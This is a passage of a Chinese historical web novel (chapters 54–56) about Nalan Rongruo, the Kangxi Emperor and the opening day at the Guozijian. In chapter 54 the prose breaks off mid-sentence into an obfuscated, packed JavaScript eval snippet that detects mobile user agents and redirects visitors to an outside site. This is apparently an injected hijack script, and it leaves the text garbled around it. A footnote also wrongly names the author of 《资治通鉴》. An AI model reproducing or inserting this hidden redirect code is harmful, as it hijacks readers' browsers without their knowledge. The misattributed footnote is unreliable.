容若放下了许多担虑,如友般平实道:“臣没说给皇上带回宫去,只是拿给皇上看。” 玄烨往就近的椅子上一坐,“那朕等着。” 【注1】出自:白居易《简简吟》 【注2】纳兰给康熙准备的、未送出去的琉璃盏,见第32章 54.第54章 等到袖云拿了琉璃盏过来,仔细放在皇上身边的桌子时,明珠心中惊讶: 容若什么时候重新雕琢过它了?自己吩咐工匠按着容若的设计稿去打磨,拿到手的已经是精品当中的精品,便是已经对工匠大赏过了。 如今容若多添了几笔刻工,真堪称是神来之笔,妙哉妙哉! 这么一对比,皇上带来的、自称是亲手所制的“晚回舟五色盏”岂非相形见拙? 明珠给爱子长了脸面道:“皇上,臣以为这‘觉盏馆’也不必招人了,先让在职的匠人对技艺精益求精岂非正好。爱子除了医术之外,无一不通,画上几幅《杯盏图》给馆内匠人们斟酌精进,还是能够抽出空来的。” 事实摆在眼前,玄烨带来的“晚回舟五色盏”就是不如容若的“无名琉璃盏”,这位少年天子也不好有所发作。 “纳兰,你阿玛的意思是:你不但能画精致无挑的杯碗碟盏,还能给朕重新设计‘觉盏馆’的外观与内部构造,对吧?” 容若道:“皇上愿意等的话,臣可以出‘觉盏馆’的设计图纸。” “好!”玄烨一点头,“顾总管你给朕记下纳兰说的话,回宫后就去工部那边把负责造馆的官员给朕找来,朕拿纳兰的例子给他们敲个醒!” “皇上怪工部做什么?”容若心善道,“之前皇上一个不差地投入‘石铸灵龟’口中的通宝,就是工部造的,工部有功才对。何况工部管着水利,皇上要是借此大惩大诫,如何能让下派的治水能臣安心为公?” “明珠。” “臣在。” “你儿子比你更懂怎么当个贤臣!” “臣如今掌管刑部,实在不好插手工部之事。只是工部向来责任众大、所担负之事众多,皇上不可凡事照着性子来面对才是。” “别以为朕不懂!等到朕开始整顿六部了,第一个要下手的就是工部,到时候不必拿你儿子当个导火索,朕也一样游刃有余。” “导火索”三个字换得容若一个苦笑。 “阿玛,皇上的意思是:江山社稷是他的,他也是置身在江山社稷中的,纳兰作为当中的一步棋,成仁成义皆可。” “一派纳兰之见!”玄烨笑,“但朕是执棋人这点,说的没错。” 玄烨把纳兰的琉璃盏放在手中把玩,说不上特别喜欢,也说不上故作厌恶,纯粹有种“纳兰的东西跟别人的不一样”之感罢了。 “你肯把它给了朕吗?” “只要日后皇上不摔不砸,我肯。” “你这是堂堂要求朕:把你这个琉璃盏摆在养心殿的桌面上,只可看不可动?!纳兰,你现在还有没有把朕当皇上?” “我眼前只有玄烨,一个比我大一岁的八旗子弟。” 玄烨半天说不出一句话来。 纳兰啊纳兰,朕既觉得你真挚天真,又不快自己的无理取闹。 但是朕认为:这样的君臣关系,对彼此都是一场场珍贵难得的历练,你继续保持着这样的天性和本性吧! 玄烨问纳兰:“你这个琉璃盏,叫什么名字?” 明珠正想说一句:“请皇上赐名。” 就听见容若道:“简单朴素、实则意深,叫‘纳兰盏’就好。” “明珠,你儿子厉害啊!朕的内园十馆当中,有六馆是按照他的词句来命名的——” “臣谢皇上看重容若!”明珠盘点了两句,“梦觉一盏琉璃冷,萧醒只看西风紧,是为觉盏馆;失意每多如意少,消得画席送客杯,是为如意馆。” “你儿子现在不肯认真给琉璃盏命名,该当何罪?” “臣斗胆,皇上觉得叫什么好?” “照朕看,就叫做:明贤菩提素心盏。”【注1】 在康熙皇帝得意的笑脸中,明珠选择了闭嘴。 明珠就怕自己一旦说出:“明贤菩提,皇上所赐之名甚好!乃是君明臣贤、菩提福慧之意。”宝贝儿子就向康熙皇帝要了那串十四瓣金刚菩提子手串。 走出明府。 梁九功私下求教起顾问行顾总管来。 “干爹,咱们皇上的‘晚回舟五色盏’怎么处理妥当啊?” “那是咱们能处理的吗?”顾问行双目一挑,“万岁爷会按自己的意思去做。” “那……纳兰公子的纳兰盏……” “从今儿起,那东西不叫‘纳兰盏’了,一概按照万岁爷的赐名‘明贤菩提素心盏’来叫。那东西放在御前桌案上面要是出了差错,干爹拿你是问!” “奴才必定是打起十二分精神来对待纳兰公子的东西。” “糊涂!”顾问行强调,“那是万岁爷的东西!” * 密林深处。 宋应星宅子的小院落内,张岱和徐乾学同在。 不缺今日,沈宛亦是在场,做些添茶送水和准备饭食之事。 徐乾学感激道:“多亏宋公指引,才能让我寻觅到前朝的绝迹古抄本啊!” 张岱问:“徐先生把那些珍贵的古抄本相赠纳兰性德,可是真的舍得?” “要想在学问上棋逢对手,投其所好只是第一步。”徐乾学面带狡诈之色,“往后之较量还多着呢!” 宋应星冷笑道:“聪慧如纳兰公子,又岂会不知道徐先生你的用意?” “试问宋公,《古抄本十二卷》除了纳兰性德能看懂、能编撰,天底下可还有别人?我这是在学问上满足于他啊!”徐乾学剥了半颗橙子,“他天天坐在渌水亭里不知疲倦地修书,还不是自愿自找?怪不得我给了他证明能力的契机啊!” 张岱道:“徐先生你岂是肯在学问上让名于后辈之人?莫要自作大度罢。” “张公此言差矣。” 徐乾学摆出一本正经的姿态,道: “纳兰性德能编修经典,我就成全了他,那是双向选择。说句实在的,我还真是渴望看到纳兰性德所做出的成果啊!由此,我就能够进一步辨别:纳兰性德有没有本事编修更大的工程。” 宋应星大笑,“徐先生,你就承认了自己没有明珠那么大的财力吧!你那点心思,纳兰性德还会看不出来?” “明珠的财产,本就悉数是不义之财!”徐乾学振振有词,“让他家贵公子拿出一些来编书刻本,我有什么错?” “纳兰性德没义务把编书的成果扩大化。”宋应星一针见血地分析道,“他即便是直接把成果献给康熙皇帝,那也比照顾一些落拓文人或是满足像你这样的心术不正之人强。” “只可惜他慈悲到无以复加。”徐乾学轻蔑道,“他有才而不居功,有貌而不自傲,有能而不显摆,就该到天上去做个神仙,何须不舍这尘世一命?” “明日纳兰公子入学国子监,徐先生你有什么想法,就当着我和张公的面说出来吧!” “官场有官场的规矩,学堂有学堂的规则,大儒们对那些年轻辈和靠着‘恩荫制度’进学的高官之子,自然是各派有各派的想法。但是,纳兰性德是走正经路子进学的,我弟弟徐元文面试完纳兰性德过后,把纳兰性德当成是‘史无前例的大家’来看待,我就只能接下当贵公子的老师的重任了。” “何不明日就对贵公子当堂一考?”宋应星心机道,“专门挑了最冷门、最偏僻的知识出来,看看贵公子能不能答。” “不失为个好主意。”徐乾学勾嘴一笑,“贵公子答的上来,那就是满堂彩;答不上来,我就正好对他指教指教。” 张岱笑道:“想必无论是哪种结果,同在学堂接受众生徒‘见师礼’的国子监祭酒、司业、博士、学正也不敢有意见。” 到了用膳时分,天色将暮。 身边景,地灯数盏,光盖明烛;凉风习习,刮身扰心。 当中人,神色各异,虚实难料;言论凿凿,各怀其意。 沈宛依次把菜肴端了上来,然后就站在师傅宋应星身后候命。 她只听见—— 徐乾学露出一个意味颇深的笑容,道: “冬春交汇,最是容易风邪侵体,《古抄本十二卷》编修之苦,非常人能扛,累及必倒。等着瞧,纳兰性德的身子会坏到什么地步!” 宋应星喝了口冬笋汤,试探道:“徐先生,你与明索两党之间的恩怨,可别拿贵公子的命来还啊!” “宋公言重了。”徐乾学否认道,“徐某只是恨自己无用武之地,投靠两党不成,只落得一个与明珠大人家的贵公子成为‘师徒’的境地。” 宋应星提醒道:“徐先生,你贪慕功名利禄胜过施展自身的真才实学,你这一生,终究会落得一个毁誉参半的下场。” 徐乾学忽然仰头慨叹:“此后我的名字,怕是要跟纳兰性德紧紧捆绑在一起了!” 张岱对纳兰公子动了恻隐之心,向眼前之人劝道:“徐先生,你可不能当康熙朝前期的第一罪人呐!” * 是夜。 容若靠坐在床上,睡意全无。 侍女袖云道:“公子要是睡不着,也是勉强不得的。只是袖云怕公子上国子监累乏,又需在身上备着些药前去。” “不是因为皇上,也不是因为学业,单纯就是不想睡。”容若盘着手中菩提子,“不知道同期的国子监学生们,是否人人都安睡了?” “公子莫不是因为感情之事而烦恼?”袖云大胆问,“同窗之友,应是不带诸多顾虑和自身心绪的,所以无坐榻失眠之扰。” “我不懂感情。”容若停下指尖划数菩提子的动作,“我一直在做一个符合阿玛和额娘期待的人,就好像是人生轨迹上的目标都清晰的很,只要凭借自己的努力去实现就好了。” “也就是说,即便是我有机会给自己的婚事做主,挑个自己钟意的姑娘,也不见得我就有多高兴。” 容若忽然很认真地问侍女:“袖云,高兴到底是什么?不是喜悦之时发自内心地笑、也不是获得惊喜时的开颜,到底是什么呢?” 袖云觉得自己答不上来。 照顾和陪伴公子至今,她觉得自己的感观已经跟公子重合与类似,少有失控肆意之时,也不知何为常人的悲喜与恨恼。 老爷明珠像个常人,朝后归家,卸下一身官气,面对家人所流露的,都是自己的不需遮掩的情绪;夫人觉罗氏处事玲珑,相夫教子,真心实意,眼观可知。 但是公子……却是一块真真切切的氏璧,予他温暖予他寒凉,他清润如旧;对他幻想对他写实,他光泽依然;许他勿怕许他安好,他雅素不变。 甚至是皇上—— 看似一个唯一能够挑起公子情绪起伏的圣君,也未必就是真的带给过公子“唯物”或是“唯心”的体验。 “情绪不属于公子,就像是公子的存在也不属于任何人一样。” “袖云,你说的真有道理。” “入学国子监,学生要统一穿着长衫和袍褂,叫做正衣冠。”容若看向斜对面的衣架,“但我想穿私服去。” “虽说皇上给了公子何时何地皆可穿私服的特权,但是国子监开学的一套程序下来:正衣冠、行祭孔礼、行拜师礼、净手净心、朱砂开智、授业开讲、论学相讨、下堂谢师,讲究的还是一个‘儒’和一个‘礼’字,公子不可特立独行。” 容若摇头,“此时不做,以后就没机会了。” “公子慢点,”袖云扶容若下床,“公子在想什么?” “不睡了,也不躺了。”容若把那套儒生服饰往衣架的左侧一扫,“入太学,一生只有一次,为什么不随心一些?” “是,袖云这就去拿公子的私服过来。” * 国子监开学当日。 距离天亮还早。 等到明珠夫妇房间的灯亮起,容若就过去请了安。 明珠揉了揉眼睛,还以为自己看错了: 我的容若怎么成了这个样子?所谓尊孔尊儒,最要紧就是先有点儒生的样子,所以儒家袍服和平履定是不能少。 国子监最是一个尊师重教之处,想当年自己入读的时候,可是回回都“正衣冠”而去的,如今我的容若却是以一副满人公子的拔群模样登场:新装在身,清新俊逸,才貌第一。怕是老师徐乾学和祭酒徐元文兄弟,也会瞠目结舌、不知该如何是好吧? 哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672771|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕是废话,明珠也问了:“容若,你这是打算穿这身衣服去上学?” 容若平静应道:“回阿玛话,是。” “只你一个人如此,也不要紧?”明珠只觉得自己被儿子的行径刺激的一懵,“你为何要这般与众不同?” “儿想做个有独立思想的学生,不想从了大众。做学问如此,选择衣装也一样。” “难得我明珠能有这样的儿子,容若你就照着自己的想法去做吧!” “谢阿玛。” 觉罗氏问向袖云:“公子的早膳、拜师礼、上学文具、通学证,可都准备好了?” “回夫人,都已经准备好了。” “好。”觉罗氏点头,复对明珠道,“老爷,咱们陪容若去吃早膳。” “嗯。”明珠起身,询问,“今早公子想吃什么?” “回老爷,”袖云认真道,“两只蟹黄包子、一块葱末素丁拌豆腐、一碗莲子银耳甜汤。” * 索额图府邸。 半夜,格尔芬被阿玛和额娘亲自叫醒。 “今日国子监开学,你怎么还在睡——” 看着枕歪被斜、神情迷迷糊糊的儿子,索额图气不打一处来。 他对夫人佟佳氏道:“换做明珠,要像本官这般操心吗?贵公子怕是自己已经准备好一切、整装待发了。” 格尔芬下了床,冲索额图朗朗笑道:“儿比纳兰兄有福气,纳兰兄准是一夜失眠,但是儿睡的好睡的香。” “你叫贵公子什么?” “纳兰兄。” “混账!”索额图单手叉腰,“你长兄名叫阿尔吉善。” 格尔芬从侍女手中接过热毛巾,擦了把脸。 以十分讲究义气的口吻道:“儿现在去国子监读书,就该按照汉人的叫法来,与容若称兄道弟。” “儿啊,”佟佳氏问,“你怎么知道贵公子睡不着?” “我是全天下最了解纳兰性德心情的人。昨日皇上不是去过明珠家了吗?纳兰兄不是惦记皇上,就是惦记心爱的女子。” 索额图冷道:“你有这本事去揣测贵公子,还不如给阿玛多读几本书!” 格尔芬坐在镜前,任由身后的侍女打理发辫。 镜子里映出了他帅气的容颜,然后他说出了这么一句话: “儿的学问不比纳兰兄差啊,阿玛和额娘看不出来而已。” 索额图和佟佳氏大惊: 还以为是格尔芬莫名自信,真以为自己跟纳兰性德一起读书,就能学问比肩了。 索额图甩袖道:“哎!儿啊,阿玛不指望你长脸,但求你不丢我赫舍里一族的脸!” 格尔芬把自己的规划说了出来:“要是纳兰兄住校舍,儿就与他同住;要是他走读,儿就与他同行同归。” ——我儿真是被明珠家的“珠玉”乱了心窍了! ——如此妄想自己才高八斗、与纳兰性德志同道合,简直是有辱我赫舍里一族的祖训啊! 索额图快步徘徊,心情是越来越不痛快。 “夫人,你有何话要说?” “妾身无话可说。只是咱们儿子再这么下去,怕是真能从贵公子身上染点书香气……也未可知。” “那本官就冷眼瞧着,看看事情会演变成什么样。” 索额图一招手,叫了侍女过来给二公子更衣。 格尔芬却厌恶地看了那套“儒生服饰”一眼,就叫侍女拿走。 “儿穿那些长衫和平履做什么?还戴个方头两飘带的帽子做甚?” 索额图半怒,颤声问:“你再说一遍!” “儿穿着私服去,不羁束儒家的那一套。” 索额图一边拍大腿、一边叹气:“夫人,你说明珠教子会像本官一样忍无可忍、想动家法吗?” 佟佳氏便给格尔芬讲道理:“儿啊,你要是穿私服去,人家不让你进学堂的门,可如何是好?” “硬闯就是了,我格尔芬是有资格入学堂之人!怎能被一套衣装磨灭了满洲男儿该有的棱角和风骨?” 索额图和佟佳氏对着格尔芬一看,再次大惊: 儿子风华正茂,好一副堂堂八旗子弟的英姿。 好似比纳兰性德有个性、有刚劲、有魄力多了! “准了!”索额图大叫一声,“你就穿着私服去!” “那儿这就去饭厅用早膳。”格尔芬正要走出房间,“阿玛和额娘不必陪着,儿自己亦能尽兴而吃。” 索额图叫住了儿子:“等等,把拜师礼带上。” 格尔芬回头:“拜师礼?” “平日里是别人给我索额图送礼,现在是我索额图给儿子的老师准备:六礼束修。这叫什么事?!” 索额图看向夫人,夫人也只是叫他消消气。 “敢问阿玛,什么是六礼束修?” 侍女送来了一个抽绳礼袋。 索额图拉开抽绳,一一向儿子讲明: “六礼束修,就是要送六样东西来报答老师。” “谢师恩用肉干、表明业精于勤用芹菜、开窍生慧用龙眼、苦心研读用莲子、早日高中用红枣、大展宏图用红豆。” “谢阿玛,儿会带上!” “格尔芬,纳兰性德日后要考科举,你要不要也去考一场啊?” “能不能考中不但看才学,还要靠天意和造化。” “你小子倒是知道的清楚。” 格尔芬扬起头,一挺胸,道: “要是阿玛觉得儿有必要去,那儿就去。儿就是这样好,天生乐观不自弃,嬉笑怒骂样样全,不似纳兰兄那般:完美无缺、自伤伤神、自生压力。” “夫人,本官真不知道自己教出了一个什么样的儿子,唉!” “老爷,今天是咱们儿子入学堂的吉利日子,你这样接二连三地叹气,是想叫明珠和明党之人笑话还是怎么着?看好了咱们儿子的前途就是!” “谢额娘。阿玛你也别板着脸了。” 说罢,格尔芬就走向了饭厅。 【注1】日本馆藏,纳兰家献给康熙皇帝之物。 55.第55章 沈宛凭借一身好功夫—— 落在容若的马背上、且在身后揽住了容若的细腰时,当真是差点把公子吓得灵魂出窍。 “公子你看着前路、别回头,不然马就跑偏了!” “那宛卿你抓稳缰绳,我就回望你一眼。” 这回眸一看可了不得,容若惊上加惊: 沈宛竟然梳了一个旗头,穿着满洲女子的骑行服饰,就跟是个正经的八旗格格一般。要不是她说着汉话,自己一定会把她认作云辞那般的女子的。 在不快不慢的行进速度中,容若的心脏跳的厉害。 心动还是紧张?惊喜还是害怕?他分不清。 唯独是有一种感觉: 在开学的第一天里,自己被人在乎了,被人放在心上了,不会孤单。 身后有个后盾,真的很踏实,好像今天无论发生什么事,都有人在默默给自己打气、支持着自己的做法一样。 “宛卿,你怎么会想到打扮成我们满洲格格的模样来见我的?” “其实昨晚我就在公子的房间外面守护着公子,见公子不肯穿‘儒生服饰’,就想着自己不如也大胆一回好了,一改汉人女子的模样。” “我没发现你。” “公子发现了也不能说,悄悄靠近公子的房间是我的特权。” “你看我今天怎么样?” “定是最亮眼、最与众不同、最具有学识的一员学生。” “你要躲在暗处全程看我吗?” “好呀!公子不介意的话。” 因为时间充足,所以容若就带着沈宛绕了一段远路。 他渐渐意识到:自己身边是需要这样一个女子的,没法具体说出她哪里好,但她就是很好。 她的大胆与奔放,可以带给他荒芜的内心深处的治愈;她的主动与热情,可以消去他脆弱的神经深处的恐惧;她的明媚和清朗,可以扫除他封闭的生活点滴的厌倦。 这一程,温馨而浪漫。 容若是第一次体会双人同在一匹马上、双手同牵缰绳的感觉。 这般近、这般亲,小带惊吓,却丝毫不觉得尴尬。 这般真、这般切,稍存惊讶,却一点不落的异诧。 《撂银瓶·谁道梅破知春缀》 谁道梅破知春缀?却不觉、轻步微月俏影魅。夜不寐,相近相知偏无味。竞奏心声、料得心易脆。 未放心情先一笑,清眸一顾秋波坠。一骑轻驰,萼绿华落,羊权向学,谁对?望前路,应是张敞画眉、陌上花开,徐徐鸣佩。 容若吟罢,沈宛才意识到了:“一缕牵念皆做佩鸣响,几多心动皆在白驹间”的款款深情。 她是阻止不了公子流露思绪的,只是遗憾,公子坐在前面,看不到他脸上的纯粹表情。 不然,真的好想出其不意地轻捏他的双颊,笑他一声:“容若,反应过来了吗?不是在梦境中,词中所言皆是真。” 公子亦然,阻止不了她为他付出情感。 ——宛卿心中在想什么呢? ——自己可以暂且让白驹停步,靠入宛卿怀中静看一场日出吗? 然后,像个赢家一般跟她说:“谁说看日出要爬山的?红日一轮,佳偶一对,你我一同,以这样的方式面对万丈光芒,极好。” * 离国子监还有数百米的距离,一转折路口处,容若和沈宛先后下了马。 这样短暂的相聚和相别,容若承认,自己舍不得。 “沈宛一直在公子身边呢。” “嗯,我相信。我也一直在宛卿心中,对不对?” “对。”沈宛点头,深情凝望容若。 “我在京师最灵验的寺庙为公子求‘学业有成’的平安符,请公子戴在身上。“ “谢谢你,宛卿。” 容若解开了两粒衣扣,把平安符放进心间,神色清澈,就像是这世上最干净的河水流淌而过一般。 他的感动点大抵跟寻常的男子不一样,不在于女子的心意,也不在于学业上面的文曲星保佑,而是沈宛的行动本身。 “行动”跟“心意”是不一样的,前者是油然而生地为一个人、想一个人好,后者是有所求、有所盼地期待回报和期待一个结果。 他捂着自己的心脏,在冰破雪销的春来之际,温暖无比。 “那公子快去报到吧!我随后再去暗处陪公子。” 沈宛帮着扣好容若的衣服的扣子,动作比她想象的更快更到位。 明明作为一个汉人,是习惯了穿没有衣扣的汉服的。是从什么时候起,学会了“解”、“懂”、“会”、“合”满人的衣装了? 容若走出几步,回头向沈宛挥了挥手。 ——宛卿,你知道吗?今日今朝,有好多值得珍惜的东西。 ——人生中的第一次拥抱、第一次共看日出、第一次解扣侬情。 * 走近国子监,把马匹交给专门的下人之后,容若在侧门看见了相互之间不知道在争论什么的:云辞格格和格尔芬。 容若走过去,问他俩:“云辞,格尔芬,你俩怎么了?” “公子,我一大早出门,就是为了来国子监看你的。但是那家伙——”云辞指向格尔芬,“非说他喜欢我,不介意我喜欢公子你。” “格尔芬,你这是什么逻辑?”容若解释道,“国子监不收女学生罢了,不然云辞就是你我的同窗,为什么你要将她定义为‘喜欢纳兰’的人?” “若非真的喜欢,她怎会放不下纳兰兄你?”格尔芬对着眼前的俩人摇了摇头,“我不强求,但是我得把自己的心意向云辞表明。” “我有喜欢的人了。”云辞认真而坚韧,“他是如意馆画师:禹之鼎。” “我也有喜欢的女子了。”格尔芬直白相告,“那就是纳兰生日那天,在明府碰见的你。我信一见钟情,但不求爱尔得尔。” “既是不求,”云辞郁闷看他,“你还表白做什么?” “我不爱藏着心事。”格尔芬看向容若,“不想变成纳兰那样。” “算了,不说这些了。”容若及时给自己也给别人止了损,“感情之事说的越多,只会越乱。云辞格格有心,早迎学礼,容若谢过;格尔芬你也穿了私服,容若有个伴,也谢过。” 云辞指着那些往门内走的学生们,客观道:“那些人穿着一样的衣服,戴着一样的帽子,根本分不清谁是谁。还是你俩好,辨识度高。” “纳兰兄,咱俩要是连第一道门槛都迈不进去,那就给我个机会让我给你开路。” 容若惊问:“你想打斗?” “想想看,一会就要对孔圣人行三叩九拜的大礼、对老师们三鞠躬,不是‘划地无聊’吗?”格尔芬套用了容若词作中的四个字,“还不如先活动活动筋骨。” “你这一出手,打的可不是国子监的脸,而是你阿玛索额图的脸。”容若阻止道,“所以,你别——” “由此可见,纳兰兄你是何等顾及明珠大人的脸面。”格尔芬朗朗而笑,“但不能怪你,你都习惯了不是吗?” 容若对云辞道:“格格,那我跟格尔芬就先去报到了。” “好。”云辞跟着两人走出了一段路,“让我也看看穿私服之人能不能进去。” 见到明珠和索额图的儿子的这副穿着,检查学生通行的官兵们可犯了难。 这是让他俩进去呢?还是不让呢? 学堂的规矩和官场的门道,到底站在那一边才是对的? 此时,容若道:“你们不必犯难,把难题留给里面的先生们就是。” 格尔芬指着不断从自己身边经过的学生们道: “开开眼吧!这个世道就是因为千篇一律的人和事多了,才会造就篇篇八股文章和不思进取之人。今日明珠和图额图的两位公子,就是给那些做个榜样,告诉他们:纳兰容若天赋才学天下第一,但不是个书呆子;格尔芬看似才疏学浅纨绔为乐,实际上谙懂的诗书非少。” 于是,官兵们就把容若和格尔芬放了进去。 * 容若优雅而行,格尔芬在他身侧,不断跟那些不认识的“同期”们打招呼,活跃的就是蹦跳在树枝间的松鼠一样。 见格尔芬洒脱,容若也随机地跟一个“同期”说了话。 “在下纳兰,与兄台共学,切磋琢磨,度过半载春秋。” 哪想,一副和善有礼的态度,竟然把对方吓的跌坐在地,诚惶诚恐地磕了个头。 “兄台这是做什么?”纳兰望向右侧写着“万世师表”的牌匾前面的一座高大塑像,“孔圣人的尊像在那儿呢,你要去那儿磕头。” “纳……纳兰公子。” 那位学生虽是被容若拉了起来,浑身却仍然在发颤,恐惧与惊喜各半。 “公子你半载春秋即可学有所成、考取功名,我等怕是苦读三年也未能比得上公子半分啊!” “不必叫公子,叫纳兰就好。”容若友好,“你我都是孔圣人的学生,无身份差别。” “太……太出尘高雅了!”那位学生只怕自己的在侧挡了珠玉的光,“纳兰你真实的……真就跟不是这个世上的人一样。” 格尔芬笑问:“那纳兰是什么?” “一束光。”那位学生起敬道,“能够照亮一切的光。” * 这时候,响起了三声古钟之音。 音落之后,有一个穿着官服的下级官员上前,站在“大成门”的孔子塑像面前,对众学生道:“尔等快快站好,等到诸位大人们来了,就一同行祭孔礼。” 容若随着众学生一同,面对孔子塑像而站。 只是他的存在过于鲜明,以至于那下级官员向国子监祭酒徐元文回话的时候,用了这么一番描述:“徐大人,纳兰公子一表人材,那儒生的衣帽鞋履……怕是衬不上卓然独立的他啊!” 徐元文道:“康熙皇帝的制改能从了纳兰公子的提议,我这国子监的规矩礼仪给纳兰公子破个格算什么?” 下级官员问:“徐大人,你的兄长徐乾学徐先生今日可要过来先睹纳兰公子为快?” “兄长早已到来,随后就与本官一同前往正殿主持开学仪式。” 容若和众学生等候了许久,都没有见到“有份量”的大人们的到来。 他在心中盘算:如果不是迟到或故意,那就是大人们在考验学生们的耐心,这时候,可不能有任何小动作或是失礼的言行,否则一定会被暗中观察者记过和事后并罚。 “老师们都迟迟不来吗?”一个汉人学子大声问,“何谓为人师表?岂非有损我等对老师们治学态度的评价?” “是啊!”另一个汉人学子附和,“老师们不按照章程和时间来主持开学仪式,到时候消息传到天子耳中,吃亏的还不是我们这些学生?” “来了来了——” 格尔芬回头对那二人道。 大家都下意识地一正衣冠,刷刷地向老师们行了注目礼。 国子监祭酒徐元文和他的兄长内阁学士徐乾学走在最前面,他俩身后,是六位学识渊博的鸿儒。 等到那些文官就位,礼官正要宣布祭孔礼流程的时候,容若听见了从身后传来的一阵马蹄声。 回头一看,是一位年纪跟明珠差不多之人—— 那人身着官服却不摆官威,只打马从众学生面前朗笑而过,像是位乐观积极、容易相处的好先生。 “不好意思,不好意思,我来迟了!” 对面无表情的徐氏兄弟说完话,那人就对着眼前的众新生们道: “吾,国子监司业李天馥是也!以后授业于你等,你等不必拘束,有任何不懂之处,都来找吾解惑和辩论就是。” 这位李天馥李大人,便是在日后得到了康熙皇帝“老成清慎,学行俱佳,朕知其能得政体、培国脉”评价的大清赫赫忠臣。 他往后的官路,乃是历任康熙朝的五部尚书,位高权重却从未利益熏心、口碑远扬却自谦自醒,不负一朝贤臣美誉,深得康熙皇帝器重。 此时容若并不知道: 在将来,大清的戏剧界将会诞生两位名声响亮的作家:一位是自己所结识的孔尚任,著有《桃花扇》;另一位是洪昇,著有《长生殿》,人称“南洪北孔”。 洪昇,正是因李天馥李大人的识才与举荐,才得以进入文人圈子大展才华。孔尚任,正是因纳兰容若的接济和提点,才得以进阶仕途。 在往后的史册中,我们可以看到这样的几笔—— 康熙皇帝任命李天馥为工部尚书【注1】,洪昇赠诗曰:“帝言李峤真才子,世信温公是正人。”【注2】 康熙皇帝恸纳兰早逝,忆二人共登泰山之诺【注3】,潸然泪下。孔尚任在御前悼 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“就是。”另一个八旗子弟摘了帽子,“做学问应该自由,评述文化应该客观,如今的国子监全让汉人师傅们说了算,于我满人何益?于大清何益?” 教官汪大人道:“你俩都站回去!国子监是让诸生学习知识和磨练技艺的地方,不是争满人和汉人谁高谁低,谁优谁劣的街头市集,你俩对徐大人心生质疑、口出狂言,像什么样子?” “还请各位老师回答——”高瘦的学生不屈不挠,“是否满人学子们在你们眼里,就默认比汉人学子低了一等。” 学正刘大人道:“就资质和成长环境而言,的确是汉人学子比满人学子要思进取。满人学子要是不凭借后天努力加以追赶,学业定是要落在汉人学子后头。” 教官和学正两位大人的话出来,众满人学子哪里还能忍? 加上年轻人,本就血气方刚,满人学子和汉人学子们竟然自动自觉地分成了两派,打乱了原本站列安排,就跟划分了楚河汉界似的,分列成两大对峙阵营了。 徐元文端着岸然道貌,背着双手,沉默以对眼前之变。 自打他掌管国子监以来,还未发生过这等没规矩、大坏儒家礼制之事。 “诸位老师大可以放马过来,等到这一系列学前尊拜的仪式结束,就当堂考考满汉阵营的诸生,看看谁怕谁?” “怎就见得满汉学子资质有别,不给我们说清楚,我们绝对不会向这样的老师表示尊敬和认可!” “纳兰公子,索公子,你俩应当为我们满人学子出口气才是!不然我们的志气和颜面,都快被那些汉人轻蔑完了。” 容若一抬头,碰触到了徐乾学那“等候两位公子大论”的目光。 下一瞬,他听见了身旁的格尔芬的笑声,爽爽朗朗,绝非自嘲。 他觉得格尔芬就像是在笑眼前的大儒们和身后的同期们一般,笑那些人自成笑柄,传出去定是为天下读书人和朝中的文官们所不耻。 但是话说回来,自己可没法像格尔芬那般放纵与放松。 为什么? “天下的纳兰公子”背负着众多读书人的愿景,不管是满人还是汉人,都把“天下的纳兰公子”当成了一个可参考的风向标。所以,在这样一天重要的日子里,自己绝对不能走一步错棋。 * 几阵晨风绕身而过,容若心中已出对策。 平衡满汉学子和大儒们之间关系的关键点,还是在于内阁学士徐乾学。 如何换得一个“三方和好”的局面,得用一套新方式才行。 容若道:“除开‘恩荫制度’入学的学生,像纳兰一样经过层层考试拿下入学资格的满人学子少之又少,在正式入学堂听讲之前,就已经对老师们抱有‘知遇’和‘感激’之情。祭酒大人的一番话,以及汪大人和刘大人对满洲学子的回应,的确是有让纳兰不解之意。” ——好是细腻的心思和有谋的话术。 ——既直截了当地安抚了满人学子的情绪,又不动声色地反讽了老师们一番,最后还给自己这个今日在场的最高官阶之人:“内阁学士”徐乾学,留够了发挥辩术和反驳其词的余地。 徐乾学对纳兰性德又恨又服。 他恨纳兰一语中的,服纳兰慧眼无垢。 那些资质争执和生源评判,在纳兰眼里,怕不过只是微尘一粒吧?怎会玷污公子的一身清雅、满心高洁? 徐乾学挤出一个笑脸,道:“公子不妨一说,本官来替公子当众解惑。” “纳兰谢徐先生明示。” “本官何曾说出过自己的意思?” “纳兰在学问上的懵懂,可以自寻甚解;但在世故与相处上的心智未熟,只有徐先生才能够‘精准’授业。所以纳兰已经明确了徐先生的本意。” “如此就好,如此就好啊!有公子的金玉之言,何愁诸生和诸师分不清‘做学问’和‘做人’的道理?想必日后,也不会有谁再出‘满汉有别’之言了。” 徐乾学的笑容依旧挂在脸上,就如同不这么挂着,下一刻就会凶相毕露一样。 礼官大声道:“请诸生归位,请各位先生先稍作准备,请孔圣人礼——” 满人学子和汉人学子因为纳兰的一番话而和了气,就重新照着原本的位置站了回去。由此现场也算是恢复了该有的秩序。 另一边,洗手潭处。 徐氏兄弟背对着诸生,一边净手持香,一边悄悄对话。 祭酒徐元文感慨道:“这一届的诸生真是了不得啊!” 内阁学士徐乾学不甘心地一甩掌中水渍: “最是需要参详参详纳兰性德,那家伙何止是天降的紫薇星?更是天下第一才子和君侧第一该清之臣啊!” 【注1】整顿吏治方面,康熙打算从工部着手,私下跟侧臣纳兰多有商讨。初露苗头是在第54章。然而,李天馥任工部尚书后,面对治水之事,支持的是于成龙,而非明珠父子所举荐的河道总督靳辅。 【注2】李峤:诗感玄宗的真才子。温公:《资治通鉴》作者司马迁。 【注3】玄烨少年时即有登泰山的想法,见第50章,实际玄烨在康熙四十八年才登泰山,容若已逝;孔尚任在康熙三十八年完成《桃花扇》,容若已逝。皆是遗憾。 56.第56章 养心殿内。 玄烨津津有味地听李天馥的回话。 